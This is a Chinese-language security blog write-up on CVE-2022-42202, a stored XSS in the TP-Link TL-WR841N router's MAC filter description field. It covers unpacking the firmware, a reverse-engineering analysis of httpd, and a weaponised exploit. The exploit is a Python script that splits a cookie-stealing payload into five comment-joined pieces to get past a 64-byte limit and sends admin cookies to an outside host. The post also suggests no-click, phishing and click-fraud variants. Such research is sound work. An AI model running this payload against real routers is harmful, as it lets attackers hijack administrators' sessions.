TP-link 841N CVE-2022-42202

固件安全
2022-11-03 14:51
46219

依然是点开安全情报,逛了一圈,然后发现一个有意思的东西:

TP-link 841N型号的路由器今日公开了一个XSS漏洞(乐),以前一直在弄二进制层面的漏洞,这次刚好既有设备又有新洞,于是乎有了这篇文章。

固件下载

因为是刚公开的漏洞,所以直接去官网下载最新版固件
下载链接:https://static.tp-link.com/upload/firmware/2022/202208/20220819/wr841n(EU)_V11_211209.rar

下载下来之后进行解包:

binwalk -Me xxx

直接解出文件系统

有了文件系统对于后续对web代码的审计有了很大的帮助

漏洞复现

根据CVE详情中提到的信息,可以得知问题出在MAC地址过滤设置的位置,在分析漏洞成因之前,先来试试能否成功复现出攻击效果。

连接上路由器以后,进入无线网络MAC地址过滤界面,点击添加条目:

点击保存以后,发现浏览器成功弹窗:

这里为了演示方便使用了alert(1),后面会做更进一步的漏洞利用。

漏洞分析

确认漏洞存在以后,接下来从源码的角度分析一下为什么会出现XSS漏洞,经过实验可以发现,每次点开无线MAC地址过滤界面,都会产生弹窗,所以是一个存储型XSS。既然是存储型的XSS,那就要关注两个地方,一个是写入的过程,一个是展出的过程。通过保存,会将MAC地址和描述字段写入固件中,然后当用户点击无线MAC地址过滤的时候,将所有设置写成html代码渲染到前端。

将写入和访问的包拦截下来:

可以看到无论是写入还是访问都绕不开WlanMacFilterRpm,全局搜索一下看看它在哪里出现过:

前面在html中出现的我们暂且不用管它,主要关注一下/usr/bin/httpd程序,拖进IDA中,然后搜索字符串,找到对应逻辑,在写入环节比较重要的就是对desc的处理上,应该说对desc的不正确过滤和不严谨处理占了这个xss漏洞责任的一半:

可以看到程序通过httpGetEnv函数直接获取变量值,然后通过一个do-while循环消除掉了desc开头的空格,随后利用strncpy函数复制64字节到栈上后续用来保存,这里的64自己要记住,后面会用到。

复制到栈上以后,没有经过任何过滤,就加入到了WlanMacFilt结构体中:

相比之下对于其他字段如mac或key字段,则存在一些check如:

在获取信息并写到响应包里的过程中,同样没有任何的特殊字符过滤:


这就导致当我们写入一个<script>alert(1)</script>的时候,httpd程序会将其原封不动的打印到响应包里,这就导致当我们访问页面的时候,触发script代码并执行alert(1)

漏洞利用

仅仅停留在alert(1)未免有些草率,这个地方既然是存储型的XSS,是不是意味着我们可以进一步做cookie获取或者钓鱼页面跳转呢,可以,但是没那么容易。还记得上面提到的64字节吗,每次写入的时候多出64自己的部分会被截断,但是一般的xss利用语句方式如下:

document.write('<a herf="http://192.168.1.101:8000?cookie='+document.cookie+'">getcookie</ a>')

字节数要远多于64,所以需要考虑将payload分段写入,分段写入会带来一个问题,程序会在desc后面插入一段js代码用作编辑和删除按钮:

所以单纯的分段写入不太行,这里仍然是利用desc字段不检测特殊字符的特点,利用js里的注释符,将两个desc中间的js代码直接注释掉:

可以看到在分段写入payload的时候,只需要保证上一段以/开头,下一段以/结尾就可以将中间的编辑和删除的js代码直接注释掉,为了保证分段写完以后能正确拼接,所以要保证一些函数和变量名完整,只能选择中间的字符串部分进行分段。

据此将payload合理分成五段,写出最终的payload脚本

get = ['<script>/*' , '*/document.write(\'<a%20href=\'%2b/*' , '*/\'"http://192.168.1.101:8000\'%2b/*' , '*/\'?cookie=\'%2bdocument.cookie/*' , '*/%2b\'">1</ a>\');</script>']

re = requests.get(url=url , headers=headers)

print('start')

for i in range(0,5):
    url = 'http://192.168.1.1/userRpm/WlanMacFilterRpm.htm?Mac='+mac[i]+'&Desc='+get[i]+'&entryEnabled=1&Changed=0&SelIndex=0&Page=1&Save=%B1%A3+%B4%E6'
    re = requests.get(url=url , headers=headers)
print('ok')

就可以将路由器后台的无线MAC过滤界面修改成如下所示:

此时我们开一个python服务端,然后点击1,就会在服务端收到用户的cookie:

当然选择这种写法是为了方便演示,如果用<img>来写的话,则可以做到无需点击,在打卡此界面,图片开始渲染的时候就能在服务端收到cookie,除了泄露cookie外,做网页跳转,钓鱼连接,或者直接在里面植入一个请求某网站的js代码,用来给其他网站刷点击量等等效果。

分享到

参与评论

0 / 200

全部评论 2

zebra的头像
学习大佬思路
2023-03-19 12:15
Hacking_Hui的头像
学习了
2023-02-01 14:20
投稿
签到
联系我们
关于我们